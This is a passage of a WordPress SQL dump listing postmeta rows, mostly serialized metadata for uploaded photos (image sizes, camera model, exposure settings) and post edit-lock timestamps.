(215,160,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:45:\"2021/07/IMG_20200224_173602089_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173602089_HDR-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_173602089_HDR-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173602089_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173602089_HDR-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173602089_HDR-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173602089_HDR-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_173602089_HDR-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565762\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"500\";s:13:\"shutter_speed\";s:17:\"0.033333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_173602089_HDR.jpg\";}'),
(216,161,'_wp_attached_file','2021/07/IMG_20200224_173636411-scaled.jpg'),
(217,161,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_173636411-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173636411-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173636411-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173636411-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173636411-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173636411-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173636411-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173636411-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565796\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_173636411.jpg\";}'),
(218,162,'_wp_attached_file','2021/07/IMG_20200224_173755388-1-scaled.jpg'),
(219,162,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:43:\"2021/07/IMG_20200224_173755388-1-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173755388-1-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:37:\"IMG_20200224_173755388-1-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173755388-1-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:37:\"IMG_20200224_173755388-1-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173755388-1-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173755388-1-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_173755388-1-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565875\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:28:\"IMG_20200224_173755388-1.jpg\";}'),
(220,163,'_wp_attached_file','2021/07/IMG_20200224_173848282-scaled.jpg'),
(221,163,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_173848282-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173848282-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173848282-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_173848282-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_173848282-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173848282-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173848282-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_173848282-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565928\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_173848282.jpg\";}'),
(222,164,'_wp_attached_file','2021/07/IMG_20200224_174025616-scaled.jpg'),
(223,164,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_174025616-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_174025616-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_174025616-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_174025616-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_174025616-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_174025616-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_174025616-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_174025616-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582566025\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"200\";s:13:\"shutter_speed\";s:17:\"0.033333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_174025616.jpg\";}'),
(224,168,'_wp_attached_file','2021/07/IMG_20200224_154536726-edited-scaled.jpg'),
(225,168,'_wp_attachment_metadata','a:7:{s:5:\"width\";i:1919;s:6:\"height\";i:2560;s:4:\"file\";s:48:\"2021/07/IMG_20200224_154536726-edited-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:41:\"IMG_20200224_154536726-edited-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_154536726-edited-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:41:\"IMG_20200224_154536726-edited-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_154536726-edited-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154536726-edited-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154536726-edited-1535x2048.jpg\";s:5:\"width\";i:1535;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154536726-edited-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559136\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:33:\"IMG_20200224_154536726-edited.jpg\";s:12:\"parent_image\";a:2:{s:13:\"attachment_id\";s:3:\"135\";s:4:\"file\";s:34:\"2021/07/IMG_20200224_154536726.jpg\";}}'),
(226,169,'_wp_attached_file','2021/07/WIN_20210722_18_41_24_Pro-scaled.jpg'),
(227,169,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:44:\"2021/07/WIN_20210722_18_41_24_Pro-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:37:\"WIN_20210722_18_41_24_Pro-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:38:\"WIN_20210722_18_41_24_Pro-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:37:\"WIN_20210722_18_41_24_Pro-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:37:\"WIN_20210722_18_41_24_Pro-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:39:\"WIN_20210722_18_41_24_Pro-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:39:\"WIN_20210722_18_41_24_Pro-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:39:\"WIN_20210722_18_41_24_Pro-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:8:\"MSHW0121\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1626979284\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"3.57\";s:3:\"iso\";s:3:\"410\";s:13:\"shutter_speed\";s:8:\"0.030006\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"1\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:29:\"WIN_20210722_18_41_24_Pro.jpg\";}'),
(228,170,'_wp_attached_file','2021/07/IMG_20200224_173115760-edited.jpg'),
(229,170,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1585;s:6:\"height\";i:2114;s:4:\"file\";s:41:\"2021/07/IMG_20200224_173115760-edited.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:41:\"IMG_20200224_173115760-edited-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_173115760-edited-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:41:\"IMG_20200224_173115760-edited-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_173115760-edited-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_173115760-edited-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_173115760-edited-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_173115760-edited-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582565475\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:12:\"parent_image\";a:2:{s:13:\"attachment_id\";s:3:\"156\";s:4:\"file\";s:34:\"2021/07/IMG_20200224_173115760.jpg\";}}'),
(230,171,'_wp_attached_file','2021/07/IMG_20200224_154420997-edited-scaled.jpg'),
(231,171,'_wp_attachment_metadata','a:7:{s:5:\"width\";i:1919;s:6:\"height\";i:2560;s:4:\"file\";s:48:\"2021/07/IMG_20200224_154420997-edited-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:41:\"IMG_20200224_154420997-edited-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_154420997-edited-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:41:\"IMG_20200224_154420997-edited-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_154420997-edited-768x1025.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1025;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154420997-edited-1151x1536.jpg\";s:5:\"width\";i:1151;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154420997-edited-1535x2048.jpg\";s:5:\"width\";i:1535;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154420997-edited-1568x2092.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2092;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559061\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:33:\"IMG_20200224_154420997-edited.jpg\";s:12:\"parent_image\";a:2:{s:13:\"attachment_id\";s:3:\"134\";s:4:\"file\";s:34:\"2021/07/IMG_20200224_154420997.jpg\";}}'),
(232,180,'_edit_lock','1627675710:1'),
(233,184,'_edit_lock','1751564646:1'),
(235,187,'_edit_lock','1628693638:1'),
(236,189,'_edit_lock','1629151029:1'),
(237,195,'_edit_lock','1629913985:1'),
(238,203,'_edit_lock','1632244750:1'),
(239,209,'es_template_type','newsletter'),
(240,210,'es_template_type','post_notification'),
(247,220,'_edit_lock','1634924475:1'),
(248,221,'_wp_attached_file','2021/10/image.jpeg'),
(249,221,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:300;s:6:\"height\";i:168;s:4:\"file\";s:18:\"2021/10/image.jpeg\";s:5:\"sizes\";a:1:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:18:\"image-150x150.jpeg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),
(250,222,'_wp_attached_file','2021/10/image.png'),
(251,222,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:448;s:6:\"height\";i:878;s:4:\"file\";s:17:\"2021/10/image.png\";s:5:\"sizes\";a:2:{s:6:\"medium\";a:4:{s:4:\"file\";s:17:\"image-153x300.png\";s:5:\"width\";i:153;s:6:\"height\";i:300;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:17:\"image-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),
(252,223,'_wp_attached_file','2021/10/image-1.png'),
(253,223,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1660;s:6:\"height\";i:550;s:4:\"file\";s:19:\"2021/10/image-1.png\";s:5:\"sizes\";a:6:{s:6:\"medium\";a:4:{s:4:\"file\";s:18:\"image-1-300x99.png\";s:5:\"width\";i:300;s:6:\"height\";i:99;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:20:\"image-1-1024x339.png\";s:5:\"width\";i:1024;s:6:\"height\";i:339;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:19:\"image-1-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:19:\"image-1-768x254.png\";s:5:\"width\";i:768;s:6:\"height\";i:254;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:20:\"image-1-1536x509.png\";s:5:\"width\";i:1536;s:6:\"height\";i:509;s:9:\"mime-type\";s:9:\"image/png\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:20:\"image-1-1568x520.png\";s:5:\"width\";i:1568;s:6:\"height\";i:520;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),
(254,229,'_edit_lock','1712066768:1'),
(255,234,'_edit_lock','1639149003:1'),
(256,235,'_wp_attached_file','2021/11/image.jpeg'),
(257,235,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:287;s:6:\"height\";i:175;s:4:\"file\";s:18:\"2021/11/image.jpeg\";s:5:\"sizes\";a:1:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:18:\"image-150x150.jpeg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),
(258,240,'_edit_lock','1637340998:1'),
(259,244,'_edit_lock','1639160753:1'),
(260,253,'_edit_lock','1640995287:1'),
(261,257,'_edit_lock','1641573428:1'),
(262,263,'_edit_lock','1644334704:1'),
(263,270,'_edit_lock','1646950295:1'),
(264,272,'_edit_lock','1647450020:1'),
(265,278,'_edit_lock','1651064127:1'),
(266,283,'_edit_lock','1651764947:1'),
(267,287,'_edit_lock','1653661856:1'),
(268,289,'_edit_lock','1653662131:1'),
(269,294,'_edit_lock','1655303370:1'),
(270,297,'_edit_lock','1660663280:1'),
(271,299,'_edit_lock','1660663490:1'),
(272,301,'_edit_lock','1660663568:1'),
(273,303,'_edit_lock','1660663495:1'),
(274,308,'_edit_lock','1663165019:1'),
(275,311,'_edit_lock','1666193747:1'),
(276,313,'_edit_lock','1666193896:1'),
(277,315,'_edit_lock','1666193836:1'),
(278,317,'_edit_lock','1666194044:1'),
(279,319,'_edit_lock','1666194156:1'),
(280,321,'_edit_lock','1666194249:1'),
(281,323,'_edit_lock','1666194178:1'),
(282,329,'_edit_lock','1669144542:1'),
(283,332,'_edit_lock','1674060993:1'),
(284,334,'_edit_lock','1674061072:1'),
(285,336,'_edit_lock','1674061632:1'),
(286,338,'_edit_lock','1674061697:1'),
(287,340,'_edit_lock','1699890814:1'),
(288,342,'_edit_lock','1718205849:1'),
(289,350,'footnotes',''),
(295,364,'_edit_lock','1718206223:1'),
(297,367,'_edit_lock','1718206318:1'),
(298,369,'_edit_lock','1718206239:1'),
(299,371,'_edit_lock','1718206445:1'),
(300,373,'_edit_lock','1718206528:1'),
(301,375,'_edit_lock','1718206463:1'),
(302,377,'_edit_lock','1718206669:1'),
(303,379,'_edit_lock','1718206741:1'),
(304,381,'_edit_lock','1718206837:1'),
(305,383,'_edit_lock','1718206907:1'),
(306,385,'_edit_lock','1718207047:1'),
(307,387,'_edit_lock','1718206964:1'),
(308,389,'_edit_lock','1718207171:1'),
(309,391,'_edit_lock','1718207300:1'),
(310,393,'_edit_lock','1718207255:1'),
